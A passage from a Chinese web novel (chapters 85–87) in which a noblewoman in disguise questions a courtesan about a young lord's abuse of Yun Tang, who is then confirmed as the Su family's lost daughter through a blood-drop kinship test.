云棠也从回忆中清醒过来,看着这样的陆锦,一直压抑着的心魔似乎在散散散来。 原来陆锦挨打后,也是这个样子,谁都不比谁高贵。 第85章 第 85 章 陆锦挨打的消息,瞬…… 陆锦挨打的消息, 瞬间传遍直隶。 当天下午,三叔公就来了,因为云棠的事,他知道苏天华夫妻很讨厌陆锦, 但是他没想到这两口子如此张扬, 就这么把陆锦打了。 三叔公原本还想着, 劝上几句。 宁阳侯和恒王府在直隶都是有头有脸的人物, 苏氏是大族虽然不怕这些,但事不能做绝, 人也不能得罪太狠。 如此想着,三叔公进门就看到,叶氏和云棠在院里树下下棋,苏邑旁边围观。 苏邑的五官轮廓随苏天华,但眉眼间还有几分像叶氏。 而云棠不同, 她的眉眼轮廓更像叶氏一些。三人一起的画面,怎么看都是血缘至亲。 云棠要真是苏天华夫妻的亲女,她受的那些苦…… 三叔公嘴边的话咽了下去, 满脸带笑的走进去。 “三叔来了。”叶氏看到三叔公, 连忙笑着起身。 苏邑和云棠也跟着起身见礼。 进屋落座, 小丫头倒茶上来。 因不见苏钰,三叔公笑着问, “怎么不见钰姐儿?” “她没来过直隶, 出去玩了。”苏天华笑着说。 “她初来乍到,得有人跟着,别迷了路。”三叔公说着。 尤其是刚跟宁阳侯府结了仇,还是要小心些。 “她是惯出门的,不用担心。”苏天华笑着说。 三叔公见苏天华如此说, 也不再问,说出今天的来意,“认祖归宗是大事,我想着滴血认亲时,得把祖老们都叫上,大家共同见证。” 因为是女儿,开祠堂显得太正式,但把祖老们叫上共同见证,倒是能省些口舌。 苏天华听得点点头,“如此甚好。” “那就三天后,在我家举行。”三叔公说着。 苏天华说着,“全凭三叔安排。” 而此时的苏钰一身男装,带着书僮打扮的绿川,正在直隶街上闲逛。 初来乍到,苏钰十分好奇,店铺少,街摊多, 街头卖艺的更多,说书打把式,驯猴看的眼都花了。 “且说这位云姑娘,乃是公府千金沦落风尘,与那锦公子本是天作之合,奈何造化弄人,凭空冒出来一位丽美人生生搅和了好姻婚。” 天桥下说书先生正口吐莲花,围观群众着实不少。 虽然用了化名,但谁听不出来这是讲陆锦和云棠的。 连路过的苏钰都停下脚步,竖起了耳朵。 说书先生说出来的段子,基本上都是经过艺术加工,添了不知道多少料。 但为了吸引观众,尤其是眼前的大热门八卦,多少都得有点真实在其中,不然观众不买帐。 陆锦挨打那天,苏钰就看出来了,陆锦对云棠是贼心不死。 都打成那样了,还能直盯着云棠,差点被割喉都不死心,这感情看着相当深。 既然有情,为什么又会那样对云棠。 “这丽美人可是大有来头,乃是怡红院的头牌花魁,生的娇艳美貌,见之失魂。锦公子生辰,众公子怡红院小聚,多喝了几杯酒,丽美人借机春风一度。” 说书先生正说着,就听女子激情辱骂,“什么脏水都往我身上泼,说什么醉酒,我呸,他要是不硬,我还能硬上不成。” 荤话出口,男人们乐呵呵笑着,大娘们无所谓,小媳妇就有些羞于入耳。 苏钰只当自己没听到,顺着声音看过去,骂人的是个年轻姑娘。 十六七岁的模样,五官艳丽,身材丰腴,举手投足却带着慵懒风情,正是丽春院的头牌碧珠。 说书先生认得碧珠,听到她的怒骂,并不恼怒,反而笑嘻嘻说着,“姑娘是锦公子的新欢,最是知情人,若愿意说上几句,我这摊位让给姑娘,请姑娘来说。” 围观群众也跟着兴奋起来,跟着喊,“碧珠姑娘,你就讲讲呗,隔壁的说锦公子能一夜驭七女,可是真的?” “他能不能,你去问他啊。”碧珠大声说着,“我们丽春院最讲规矩,客人给钱,我们就干活,从来不掺和别的。你们想怎么编排我不管,但编排到我就不行。” “锦公子为你一掷千金,没为你赎身吗?”有人就问着。 碧珠阴阳怪气说着,“那锦公子是什么人物,怎么能看上我这种烟花之地青楼女子,人家是要娶大家闺秀的。” “那云棠也是青楼出来的。”有人喊了一句。 碧珠冷笑,越发阴阳怪气,“都一样,都是青楼里的贱人。” “现在整个直隶都在说,是你搅和了锦公子和云姑娘好姻缘。”有人说着。 碧碧却不愿再说,只是对说书先生说着,“再让我听到你胡说八道,我就把你的那些丑事,告诉你家娘子。” 这话一出,围观群众更乐呵了,还有人再问。 碧珠就说,“想听我讲,来丽春院找我啊,只要肯花银子,我什么都讲。一个大子不出,就想听热闹,想什么好事呢。” 骂骂咧咧一通,碧珠转身走了。 她一走,围观的群众自然也就要散了,说书先生也不管讲到哪里了,赶紧拿起托盘收银子。 绿川丢下一块碎银子,主仆俩走的时候,苏钰笑着道:“这位碧珠姑娘倒是有意思。” 绿川隐约觉得有点不好。 “说起来,我还没逛过妓院。”苏钰满怀期待说着。 绿川头发都要竖起来了,“爷,这样不妥吧。”“又不是在京城,有何不妥。”苏钰笑着说,“逛妓院这么刺激的事,就不叫阿邑了。” 绿川很想劝,奈何劝不住。 虽然经常男装外出,但逛妓院这种过份惊世骇俗之事,苏钰没敢在京城做过。 而现在在直隶,天高皇帝远的地方,认识她的人也不多,何不突破一下。 华灯初上,丽春院做为直隶第一的青楼,排场极大,只是街头迎客的姑娘,都比别家的漂亮。 “哎哟,您这是……” 老鸨子看到苏钰,马上迎了上来。 苏钰并不意外,她男装是很难辩雌雄,但那是对普通人。 青楼里的妈妈,那是识人无数,要是男女都分不清楚,真成笑话了。 绿川虽然不乐意进来,但配合的非常默契。 一张一百两银票塞到老鸨子手里,老鸨子顿时看直了眼。 “我想见碧珠姑娘。”苏钰说明来意。 老鸨子愣了一下,陪笑说着,“姑娘屋里有客了,公子换一个吧。” 又一张一百两的银票塞到老鸨子收里,老鸨子收的时候,手都抖了,却神态扭捏说着,“姑娘素来接待男客,从未……” 第三张一百两银子的银票,绿川没有塞到老鸨子手里,而是在老鸨子面前扬了扬。 “接,姑娘女客也接。”老鸨子咬牙说着,“公子稍坐,容我安排。” 风尘里打滚三十年,见的人多了,高门大户里的小姐奶奶有特别嗜好的也有。 虽然逛青楼的没见过,但林子大了,不免出几个奇葩。 钱给够,都接。 碧珠做为丽春院的头牌,虽然用青倌人抬了几年身价。但随着年龄增长,拿了最初最贵的那笔初夜银子后,身价也就是二十两。 而且这个身价也维持不了多久,女人的青春最要紧,再过两三年,十两银子只怕也能过夜了。 现在有豪客大手笔给三百两,碧珠听到钱后,眼晴都直了。 虽然从未接过女客,也不喜欢女人,但三百两银子,她都可以。 “姐姐……” 苏钰带着绿川刚进门,就见衣衫单薄的绿珠扑了上来。 苏钰下了一跳,绿川赶紧护主,冲着碧珠喊着,“大胆,还不退下。” 碧珠愣了一下,连忙站直身体,只以为刚才太热情了,客人不喜欢,马上拿出小家碧玉的姿态,“妹妹莽撞了,还请姐姐见谅。” “你们是不是误会什么了。”苏钰突然意识到不对劲。 一般来说,女扮男装进妓院,老鸨子不该担心是抓奸之类的事情吗。 而眼前的情况,似乎有点点不太对。 碧珠吃吃笑着,“姐姐花了三百两,这般大的手笔,妹妹怎么会误会。我虽未侍奉过女子,但胜在老实乖巧,任凭姐姐吩咐。” 苏钰呆滞,不,她没这个想法,更不知道要吩咐什么。 绿川也吓坏了,急切说着,“好好站着说话,姑娘是有事要问你,哪里要你动手动脚的。” 这回呆滞的换成碧珠了,三百两银子就问事,不干活。 这是哪里来的败家,不,超级大圣女啊。 “姑娘想问什么,我定知无不言,言无不尽。”碧珠立马换了神态,严肃恭敬。 苏钰不禁揉了下眉心,第一次逛青楼,经验不足,差点闹出笑话,幸好没人看到。 “坐下说话。”苏钰说着,招呼碧珠坐下。 碧珠哪里会坐,笑着道:“姑娘面前,哪有我的坐位,我给姑娘倒茶。” 这可三百两银子的大客户,要是还有下回,够她躺半年的。 “我想问,陆锦和云棠的事。”苏钰说着。 碧珠偷偷撇了一眼苏钰,眼珠转动,隐约猜到苏钰的身份。 她见过云棠,苏钰五官与云棠是有几分相似的。再加上风言风语的流言,这多半是国公府派人来打听。 但为什么是年轻小姐? 碧珠不敢问,更不敢挑破苏钰身份。 国公府千金逛青楼,这话要是从她这传出去,八个头都不够杀的。 “我是两年前被陆大爷包养的。”碧珠缓缓道来。 当时她还是清倌人,每天盼星星盼月亮,就指望着有个肯出钱,人也勉强能拿出手的男人买了她初夜。 陆锦豪掷五百两,她是欣喜若狂。 不管什么霸王,陆锦是个年轻公子哥,长的也好,而且五百两银子多实在。 青倌人的初夜,不只是一天。跟嫁女儿有点像,屋里布置的跟新房似的,两人相处也类似于夫妻一般。 男人都喜欢夜夜当新郎,仪式感是要给够的。 其实第一天过后,陆锦就没怎么来过。 碧珠有点失望,也在意料之中,都知道陆锦有个真爱云棠,偶尔出来吃个野味,总还是要回家的。 但出乎她意料的是,半个月后,他突然向丽春院提出要包养她,一年一千两。 这个价码非常高,老鸨子一口答应,她也是乐意的。 毕竟是个还能入眼的年轻公子哥,出手也大方。 虽然被包养,但陆锦并没有把她接走,自己反倒成了丽春院的常客。 吃不完的花酒,陪不完的客人,但有钱挣,陆锦一个人撑起了丽春院一半销业额。 “陆大爷出手很大方,性格嘛,这样门庭的独子,总有几分公子哥的傲气。待我还好,主要是给钱多,不打不骂就很好。”碧珠说着。 至于温柔体贴,那就天方夜谭了。 不过,给钱了,钱也到位了,买的就是这项服务,她就觉得很好。 “有传言说,陆锦为了你,也是造花船,各种花钱如流水。”苏钰说着。 碧珠笑着说,“那哪里是为我,是为了自己的脸面。男人摆阔总得有个由头,为了女人摆阔,既显得痴情,又能装阔。” 在青楼里一掷千金的,有几个是真为了女人,都是为了自己的脸面。 外头的人不懂,自小在青楼里打滚,她哪里不明白。 “陆锦曾把你接过去与云棠同住。”苏钰说着。 这也是她最想知道的地方,传言总有夸张之处,碧珠是亲眼所见。 “是,云棠生完孩子,在孩子被侯府抱走后。”碧珠说着,“陆大爷说,云棠总是哭哭泣泣的,看着就烦人。又说我是开心果,能逗他开心,就把我从丽春院接过去了。” 碧珠对云棠是久闻大名,但也只是远远见过,并不真切。 面对面见到,大美女,大大美女。 乍见美女,又是同屋争夫的关系,碧珠心里是很不舒服的。 为了争宠,主要是为了争钱,碧珠开始时找过云棠麻烦。不外乎是装绿茶,云棠爱哭,她就逗陆锦笑。 反正都是女人之间争宠的手段,她当时都做好云棠反击的准备,结果云棠只会哭。 “陆锦对云棠好吗?”苏钰问。 碧珠连连摇头,“非常坏。” 坏到她都十分同情云棠。 她每每故意找云棠茬时,陆锦不但不阻止,还会以此为借口欺负云棠。 她只想绿茶一把云棠,问陆锦要点银子,或者买个首饰。结果陆锦把云棠抓过来,劈头盖脸一顿骂,还让云棠给她当丫头。 碧珠惊呆了,青楼的姐儿只爱财,要说有仇,真没那么大。 但陆锦是老板,老板的话,她也不敢不从。 当丫头使唤,打耳光,关柴房…… 云棠越来越惨,碧珠也越来越害怕,陆锦这明显不正常,她弄不好就会成第二个云棠。 “我知道外头的闲话,都说是我撺掇的,陆大爷才会把云棠送给恒王府。”碧珠一肚子委屈,“天地良心,我要是有这个本事,肯定问陆大爷多要钱财,我要他的人干嘛。” 还是一个神经病,暴力狂,她又不是欠打。 后来一年期之期到了,陆锦再提出包养时,哪怕钱多,她都让老鸨子拒绝了。 这一年提心吊胆的,再来一年,她真要上吊了。 “这个陆大爷,莫不是有病。”绿川实在听不下去,脱口而出。 “我真觉得他有病。”碧珠却是认真的点点头,“我能感觉到,陆大爷对云棠是有真心的,但又嫌弃她出身青楼。” 这是女人的直觉,陆锦虽然睡她,但对她几乎是没有情绪的,发泄完就完了。 他所有的喜怒哀乐几乎都与云棠有关,时时刻刻牵动他心神。 陆锦骂云棠最多的一句,我怎么可能,真心喜欢一个青楼里的妓女。 越是如此骂,反而是心里越在意。 “这真心也太廉价了。”苏钰说着,言语间带着不屑。 真心喜欢就要好好对待,觉得身世不配,实在过不了自己这关,那就放弃,大家好聚好散。 嫌弃还要留在身边,每天非打即骂折磨对方,这种拧巴又别拗的心理,实在是有病。 而且这种所谓的喜欢,也丝毫没有为云棠着想过,真心喜欢她,又哪里舍得这么伤害她。 碧珠不禁感慨,发自肺腑的说着,“男人的真心都廉价,只有银子最好。” 话出口,碧珠自觉得失言,连忙低头,给苏钰把茶续上。 “你还知道什么?”苏钰问。 碧珠想了想,道:“我见过陆大爷的未婚妻胡小姐,知书达理,十分贤良。” 既无才,也无貌,没有能拿出手的地方,可不就只剩下贤良可以夸了。 “胡家也曾是官宦之家,可惜出了个败家子,胡家早就落魄了。”碧珠说着,“不管陆大爷怎么胡闹,胡家都会紧抓住这门亲事。据说这位胡小姐一直被其他千金小姐嘲笑。” 也是陆锦开始时宠云棠太过,一个正室还得避让外室,面子里子都被踩在脚底下。 “胡小姐……” 苏钰这才想起来,陆锦是定了亲的,只是这位未婚妻实在没有存在感。 “外头一直说,陆大爷是因为云棠跟家里闹腾,不想娶胡小姐,我觉得这传言有误。”碧珠说着。 虽然相处的不算愉快,也没说过多少话,但就几个月的相处来看,碧珠觉得传言与云棠无关。 云棠没那么大的攻击性,也没有野心,她只会逆来顺受,而且还很傻。 明明是青楼出身,竟然还对男人抱有期待,希望得到男人的怜爱而不是钱财。 孩子被抱走虽然难受,但是侯府抱走的,怎么都比跟着一个青楼的娘强。 陆锦都那样对她了,她还想着长长久久跟着他,而不是赶紧捞钱跑路。 这种傻子,天天以泪洗面,就想着怎么挽回陆锦的心。好让她进门当个小妾,有机会见见儿子。 让她跪求胡小姐有可能,怎么可能主动找正室大娘子的麻烦。 “难道是胡家自己放的话,或者中间做了什么手脚?”绿川说着。 “我要是胡小姐,肯定恨死云棠了。”碧珠说着,“要是让她进了门,自己只怕再无立足之地。” 宠妾灭妻是大忌,但陆锦那样,怎么看都不是会守规矩的。 更重要的是,云棠连长子都生了,还被宁阳侯夫人抱走教养。 生子长子的宠妾,丈夫不喜欢,子嗣排行落后,又没有让夫家顾忌的娘家,这样的正妻,成亲之后只怕连背景板都不如。 “为了这么一个薄情寡义的东西,竟然还要算计。”苏钰忍不住说着。 要是陆锦和云棠之间真存在误会,或者有人刻意挑拨,应该是胡家所为。 碧珠只是图钱,没有那么大的利益冲突。 与云棠有真正利益冲突的,是胡家,以及胡小 姐。 “姑娘自是不把宁阳侯府放在眼里的,但在直隶,对于普通百姓来说,不管是宁阳侯府还是恒王府,那都跟老天爷似的。”碧珠有几分打趣说着。 国公府千金,自然是看不上陆锦这等人渣。 就是她,把银子因素抛开,她也看不起陆锦。一个爷们活成这样,实在窝囊。 只是女人多命苦,许多时候女人算计男人,并不是为了男人,而是为了男人的财。 男人以为争的是自己,其实是财。 胡小姐争的是正室的位置,宁阳侯世子夫人。 男人是谁不重要,能让我当侯府夫人最重要。 如此一番交谈,眼看着要到巳时时,苏钰想着苏天华要担心了,便起身要走。 “我送姑娘。”碧珠笑着说,“姑娘以后一定要常来,但凡有想知道的,只管告诉我,这青楼楚馆里,没什么秘密。” 这三百两银子真好赚。 苏钰笑,“你还是期待我别来了,不然小心你这店开不下去。” 要是让苏天华知道她逛妓院,这间丽春院能不能开下去真不好说。 碧珠的房间在二楼,出了门左拐就是下楼的楼梯。 碧珠生怕有不长眼的冲撞了苏钰,前头引路,十分殷勤。 刚走到楼梯口,就见正对着楼梯的房门被大力推开,一个白衣身影被推出来。 “滚,给爷滚出去。”屋里怒声吼着。 眼看着白衣人要被推下楼梯,苏钰一步上前,伸住拉住对方,猛然一拽拉了回来。 “多谢。” 苏钰愣了一下,“男人?” 第86章 第 86 章 白衣纤弱,除了身材…… 白衣纤弱, 除了身材有点高挑外,只看背影,怎么看都是女子。 “多谢。” 声音低沉优雅,犹如古韵琴瑟。 苏钰连忙松开手, 眼底的震惊无以言表, 以至于脱口而出, “男人?” 男人笑了, 好似幽兰绽放,带着世外的圣洁与高远。 苏钰顿时有种开了眼的感觉, 若是单论五官长相,男人尚不如谢无衣。关键是气质,仿若弱柳扶风,让人望之生怜。 碧珠是丽春院头牌,站在他面前, 都要自惭形秽。 “姑娘好眼力。”男人笑着,眉目含情,凭添一份风流。 苏钰瞬间清醒, “公子很会说话。” 嘲讽的不着痕迹, 是会说话。 碧珠见有情况有些微妙, 连忙上前介绍,“这位是若叶公子, 我们直隶的大才子, 最善于音律。” 苏钰有些意外,这样的男子出现在丽春院这种地方,她第一反应是,原来丽春院还有男招待。 没想到人家不是招待,而是客人, 听碧珠的语气,还是很有名望的客人。 “苏姑娘好。”若叶公子向苏钰见礼。 苏钰有些意外,“你认识我?” 她不认识这位若叶公子,别说认识了,就只是一面之缘,这等长相的男子,也一定会让她印象深刻。 “久闻大名,初次见面。”若叶公子笑着说,“整个直隶,姑娘家如此打扮来青楼的,应该只有苏姑娘您了。” “很有道理。”苏钰好似听不出话里的嘲讽,反而坦荡承认。 是啊,她就敢这么做,怎么样。 两人你来我往说话的功夫,只见有人从房间里出来,嘴里骂骂咧咧,“姓程的,我让你滚,你没听到吗。” 苏钰看了过去,同样的年轻公子哥,样貌平平,衣着奢华,举手投足全是粗鲁。 “哎哟,是世子爷。”碧珠大声喊着,又连连给身边的人使眼色。 这要打起来了,赶紧来人拉架啊。 “恒王世子?”苏钰说着。 直隶只有两个可以称为世子的,一个是陆锦,另一个就是恒王府的世子。 陆锦见过,那只剩下恒王世子。 “知道是本世子,还不速速跪下。”恒王世子态度嚣张。 “让我跪,你还不够格。”苏钰说着,“若是真论起辈份来,你还得喊我一声姑姑。” 楚王爷与显庆皇帝岁数相仿,但辈份大,是皇叔,连带着她这个继女的辈份都高了。 恒王爷与显庆皇帝同辈,他的儿子,按辈份确定要叫她姑姑。 当然,这种论法,跟晋阳长公主那种实权公主论不得。跟恒王府这种己经传了三代,又无实权的藩王还是可以论论的。 如此嚣张的口气,恒王世子都愣住了。 他虽然看着有点傻,其实比陆锦还是精明些的。 尤其是陆锦挨打后,恒王爷向他讲了不少京城的豪门。 那是真豪门,无实权的外地藩王,都得上赶着巴结,还巴结不上。 “原来是苏姑娘。”恒王世子马上想到苏钰的身份,想想躺在床上半死不活的陆锦,口气变得谦和起来。 “没想到姑娘喜欢这种地方,来,快屋里请,我们一起喝花酒。” 这,倒也不必如此热情。 苏钰满头黑线,一副不想搭理的模样,拱手说着,“告辞。” 说着大步下楼,绿川紧跟着追上去。 碧珠想追,但步子没有苏钰快,只能大声喊着,“以后常来玩啊。” 不,真的不来了。 苏钰走的更快了。 在丽春院这么一耽搁,苏钰带着绿川回到家里,将近子时。 苏天华和叶氏都未睡,苏钰这么晚了还未回来,实在担心。 苏钰哪里敢说自己逛了青楼,只说去了诗会,遇上几个诗友,大家多喝了几杯。 苏天华和叶氏也没说别的,知道苏钰是外头玩惯的,只叮嘱她,以后若是晚归,一定派人回来说一声,免得他们担心。 “是我疏忽了,以后定不会如此。”苏钰低头说着。 主要是只带了绿川一个,去青楼这种事情,也不敢往家里报。 “时候不走了,你也去睡吧。”苏天华说着。 “是。” *** 苏氏是大族,苏天华要滴血认亲寻回亲女的消息,先是苏氏宗族,随后整个直隶都知道了。 说书先生讲的更起劲了,碧珠骂了一通之后,完全没用处,该讲还是得讲,谁让她是重要女配。 “要是这云棠真是苏家女儿,这真是飞上枝头变凤凰了。” “人家本来就是凤凰,哪里还需要变。” “要真是苏家女儿,宁阳侯府只怕嘴都要笑歪了,这样家世的媳妇,宁阳侯垫着脚都找不着。” “都成是苏家的千金,还给侯府当媳妇,这也太亏了。” “在青楼里呆了这么久,还给陆家生了孩子,不嫁陆家嫁谁去。” 在直隶人民的纷纷议论中,宁阳侯和宁阳侯夫人听到了消息,却丝毫不在意。 没法在意,陆锦快死了。 只是三十棍,要了陆锦大半条命,王府的大夫,直隶的名医都请了,出马跳大绳的都请了几班人马,陆锦依然半死不活。 每天清醒的时间不多,大部分时间都在晕睡,醒来就灌药,灌完就接着睡。 “我就说那个云棠不是好东西,自己要攀高枝了,却把自己的男人废了。”宁阳侯夫人怒声说着,“生怕锦哥儿去缠着她,耽搁了前程,连亲生儿子都全然不管不顾了。” 宁阳侯也是忧心忡忡,担心方向却与宁阳侯夫人全然不同,“她要真是苏家的千金,只怕……” 还没滴血认亲确认身份,苏天华夫妻就为她出气,要废了陆锦。 要是滴血认亲,确定是真的千金,那为了云棠将来的前程,苏家肯定饶不了陆锦,那就不是一顿打的事了。 “大不了,三书六礼把她娶回来,诚哥儿是她亲生儿子,她能怎么样。”宁阳侯夫人说着。 孩子都生了,还能跑了不成。 宁阳侯却没这个自信,“到时候悄悄派个人去打听消息。” 转眼到了三天后,苏天华和叶氏早早起床,叶氏甚至是一夜没睡,搅得苏天华也没睡好。 各人屋里吃饭,大门口集合,苏天华和苏邑骑马,叶氏,苏钰,云棠三人同坐一车。 比叶氏更紧张的是云棠,她何止是一夜没睡,这几天来,她几乎是吃不下睡不着,整个人都瘦了一圈。 就好像做梦一样,或者做梦都没做过那么好的梦。 她也许是国公府的千金,只是也许,就让她如入梦境。 从西大街到三叔公家只有两条街,转眼即到。 做为苏氏一族的代理族长,三叔公的房舍相当宽敞,七进倒底带花园。 当然人口也多,五个儿子己成亲,孙子孙女加一起将近三十个,大孙子们将眼看着也要娶媳妇,七进的府邸都要不够住。 今天是大日子,三叔公早把前头正厅收拾出来,桌椅家俱重新摆放,连安排的下人都全部换了新衣,茶杯碗碟更是不用说。 苏家祖老们陆陆续续到了,岁数与三叔公差不多,都是白发苍苍,子孙满堂。 “我就说嘛,三哥突然从恒王府要了个歌伎,必有原由。” 因为人未到齐,几个老哥们也开始闲聊。 “这云棠的身世,众所周知。大张旗鼓的滴血认亲,要是真亲女,难道还真要认回去?” 说话的是,三房的六叔公,他对这回的滴血认亲也最不认同。 孩子丢了,当父母当然心疼。 但是云棠那种身世,教坊里长大,当过外室,还生了一个私生子。 即使这一切皆非云棠所愿,但己经落到这种地步,真认回去当小姐,苏家的脸面放哪里。 族里的年轻姑娘们,难道还真跟一个教坊里出来的女子当姐妹? 依他的意思,要滴血认亲就悄悄的来。 就算真是亲女,也别声张,找间庵堂送过去,每月送点银两也就够了。 当然,云棠要是更有骨气点,觉得愧对家门,愿意自裁保住家风,倒是让人高看一眼。 “不认回去难道任人糟蹋吗,儿女是爹娘的心头肉,亲女都不认,那成什么人了。” 门口传来一句,只见四房的老太太钱夫人扶着丫头进来。 “嫂子来了。”众人纷纷起身招呼。 六叔公脸上有几分难看,也只得起身招呼。 钱夫人虽然是四房的,但其夫年龄最长,再加上她喜欢张罗,性格又厉害,平辈的小叔子们对她多少有点忌惮。 “滴血认亲这等大事,我当然得来。”杨夫人说着,径自坐了下来,“免得有人要欺负人家小姑娘。” “嫂子这话我就不爱听了。”六叔公说着,“我们苏氏乃是名门望族,岂能……” 眼看着就要吵起来,三叔公打断六叔公,“老二夫妻寻女多年,我们当长辈的岂能不成全。” 而且苏天华那脾气,不成全他的长辈,那就不是他长辈了。 正说着,苏天华,叶氏,苏钰,苏邑,云棠都到了。 众人连忙把话题打住,叶氏一个女子都能带着人把宁阳侯的大门砸了,连刚才大声说话的六叔公都闭嘴了。 众人厮见,主要是苏钰和苏邑都是第一回来直隶,自然也是第一回拜见长辈。 “这样貌是像。”钱夫人目光在苏邑和云棠身上打转。 倒是苏钰,因为身上有外族血脉,五官虽然相似,却有明显的不同。 “马上就能见分晓了。”三叔公说着,虽然与他无关,但做为主持人,情绪也难免紧张起来。 两个婆子抬来一个高几放到正中位置,随后三叔公亲自取了水,端着碗放到高几上。 又有丫头端着托盘上来,上面放着两枚银针。 战场上争战了这么多年,苏天华的心绪依然紧张起来,首先上前拿起银针刺破食指,鲜血滴入碗中。 云棠脸色苍白至极,身体甚至都有些微微发抖,却异常的坚定。 紧跟着上前,拿起另一枚银针,刺破食指,鲜血滴入。 随着两滴鲜血滴入,在场所有人的心情都揪了起来。尤其是叶氏,下意识紧紧抓住苏天佑,眼晴直勾勾看着碗中的两滴鲜血。 鲜血清水中流动,一点点交汇,一点点相融,直到完全融合。 “合,合在一起了……”叶氏声音发颤,眼泪紧跟着落了下来,抱住云棠放声大哭,“辰姐儿,我的儿……” 云棠早就泣不成声,只是疑似都让她入梦,现在成真,她只觉得更不真实。 只是叶氏这样抱着她,实在太温暖。 “母,母亲……” 娘俩抱头痛哭,苏天华心情起伏难定,也跟着落泪。 苏钰旁边看着,也是心酸不己,向苏天华和叶氏说着,“恭喜二叔,二婶,寻回妹妹。” 这是苏天华和叶氏最大的心结,现在滴血认亲寻回女儿,终于放下心了。 随即又看向云棠,眼中带泪,“二妹,终于回家了。” 云棠哭泣着,“姐姐。” “此等大喜,定要好好庆祝。”钱夫人一边擦泪,一边笑着说。 “对,一定要好好庆祝。”叶氏也跟着说,“我的女儿是世上最好的,自然要得到天下间最好的。” 苏天华对三叔公道:“我打算摆上一个月的流水席,还需要三叔公帮忙操持。” 三叔公笑着道:“这个简单,交给我吧。” 在坐其他族老,也跟着恭喜,连六叔公虽然不高兴,也不敢此时扫兴。 唯独苏邑,虽然也高兴,脸上却好像带着些疑惑。 他总觉得云棠不是苏辰,他对苏辰感觉最强烈的时候,是在对战南魏的战场上。 苏钰自是了解苏邑,知他心中所想,从某方面说,苏邑是有些痴的。 滴血认亲都成了,这就是天意,云棠就是苏辰,再较真其他没有意义。 不然,让苏天华和叶氏这么伤心难过一辈子吗。 “看你高兴的,快叫姐姐。”苏钰笑着说。 苏邑这才反应过来,向云棠见礼,“二姐。” “弟弟。”云棠回礼。 三叔公高兴说着,“我己经备下宴席,今天都留下来吃饭。” 云棠是苏天华亲女的消息,几乎是瞬间传遍直隶。 同时苏天华发话,会摆一个月的流水席,不管谁过去就能吃。 这样的大手笔,顿时让全城沸腾。 不管什么时候都是穷人多,可以免费吃一个月,还是鸡鸭鱼肉的宴席,那可是天大的喜事。 消息传到宁阳侯府,宁阳侯和宁阳侯夫人面面相觑,好一会都没言语。 “我若是托王妃去提亲,这面子算是给足了吧。”宁阳侯夫人跟宁阳侯商量着。 云棠以前是外室,现在成了千金小姐了,可以娶进门当正室了。 就是有人还拿云棠在教坊里长大说嘴,还有苏家会管。 而且京城苏家,这样的门第,要不是云棠的情况特殊,宁阳侯府真不一定能攀上。 宁阳侯只觉得她脑子进水,以苏家的权势,给云棠改身份有什么难的。 只说是自幼多病寄养在庙里,现在病愈接回家中,清清白白的千金小姐,为什么要下嫁。 “你还是先去看看锦哥儿吧。”宁阳侯说着。 话音刚落,就有婆子来报,“大爷醒了,又闹呢。” 这些天一直半晕迷状态,终于清醒了,睁开眼就要闹着去找云棠。 夫妻俩皆是一愣,连忙赶过去,只见几个婆子拦着陆锦,陆锦坚持往外走,“我想清楚了,我就是喜欢云棠,我要去找他。” 几个婆子苦劝,宁阳侯又是气又是急,“你还想找谁,那云棠现在是国公府苏家的嫡女。” “什么?”陆锦一脸莫名。 宁阳侯夫人当即把这几天发生的事讲了一遍,云棠不是攀高枝了,是找到亲生父母了。 现在的云棠是国公府千金,苏天华的亲女。 陆锦听完整个人懵住了,好一会突然大声笑了起来,“我可以娶云棠了。” 第87章 第 87 章 “这件,这件不要,…… “这件, 这件不要,其他的全部包起来。”叶氏只看了一眼,就对老板说着。 “是,小的这就帮您包起来。” 老板高兴的嘴都合不上, 最新款的首饰, 摆了一个桌面, 二十几件, 叶氏这是要全包了。 “太太,小姐们, 除了首饰,还有各色香囊,小玩意,您瞧瞧。”老板一边整理打包首饰,一边热情介绍。 小玩意就更多了, 香囊扇子荷包,林林总总各种配饰,叶氏看的有些眼花缭乱, 再加上逛了半日, 她大病初愈也有些乏了, 便挥手道:“都带上。” “是,是, 小的马上打包。”老板笑着说, “不如贵客留下地址,等全部装好,我让人送过去。” “也好。”叶氏也觉得这样妥当。 跟随的婆子上前对老板说了地址。 “直隶地方太小,好多东西都没有,委屈你了。”叶氏对云棠说着。 马上就是四老太太钱夫人的寿辰, 云棠刚被认回,家族里第一次亮相,穿戴绝不可马虎。 “这些己经很多了。”云棠说着,眼中带着点惶恐,最近这些天,幸福来的太不真实,“母亲要是单为我置办,实在用不了。” 以前陆锦对她好的时候,也是大手笔花过钱,但花的都是明面上看到的钱,一掷千金,千金买笑,让众人仰慕他的财力。 而叶氏的做法,进门就搬空店,这种衣服首饰店,再上配饰之类的小东西,是看着小,但东西极多,一件件算价格,加起来的数目十分惊人。 就这一间店,千两银子就打不住,再加上前面买衣服布料,还有将要去胭脂铺,一个上午不到,看着没干什么,几千两银子都没了。 “用得了。”叶氏说着,“挑喜欢的自己用,不喜欢的就打赏送人。” 钱夫人寿宴,会把苏家嫡系五枝一网打尽,乌泱泱的人头,连三叔公都未必能认全。 这种场合,见长辈收见面礼,见晚辈要给见面礼,平辈之间,要互送小玩意。 年轻姑娘们送的就是这种小玩意,寿辰当天,得安排一个专门的丫头拿包袱,就是为了装这些。 “我从家里带来了一大包袱,都是这些,妹妹眼前这些也就是勉强够用。”苏钰笑着说。 她是多宝楼的常客,对直隶的铺子兴趣不大,难得叶氏有兴致,她也跟着一起来了。 “我己经往家里写了信,等我们到了家,你的东西都会准备妥当。”叶氏笑着说,又对苏钰说,“我和二叔己经商议过,要搬回府里。” 当初她会搬回叶家,跟苏天华吵架是一部分,还有一部分原因是想换个环境,希望心情能平静些。 现在苏辰找回来了,她小时候一直住苏家,去叶家的时候少。现在又回旧居,对于她也是旧地重游。 “太好了,我一直愁着没伴,以后就有二妹妹作陪了。”苏钰笑着说。 叶氏笑着道:“我那屋子多年未住,有得收拾,还得过上一阵子。” 她离开国公府十年,房舍都在,但家具东西肯定得重新收拾整理。 三人闲聊着,从首饰铺出来,想到还有胭脂水粉要买,叶氏就觉得有些累了。 苏钰见状,便对跟随婆子吩咐着,“到前面的铺子里,跟老板说,店里所有的,每样拿一样,送家里去。” “是。”婆子应着,赶紧去了。 云棠己经惊呆,没想到还有这么逛街的,叶氏却是笑着道:“如此也好,今天着实没精神逛了,回去慢慢选吧。” “正好回去中饭。”苏钰笑着说。 三人正欲上车,就见一辆马车靠近,不等马车停稳,车上的人大声喊着,“云棠。” 是陆锦的声音。 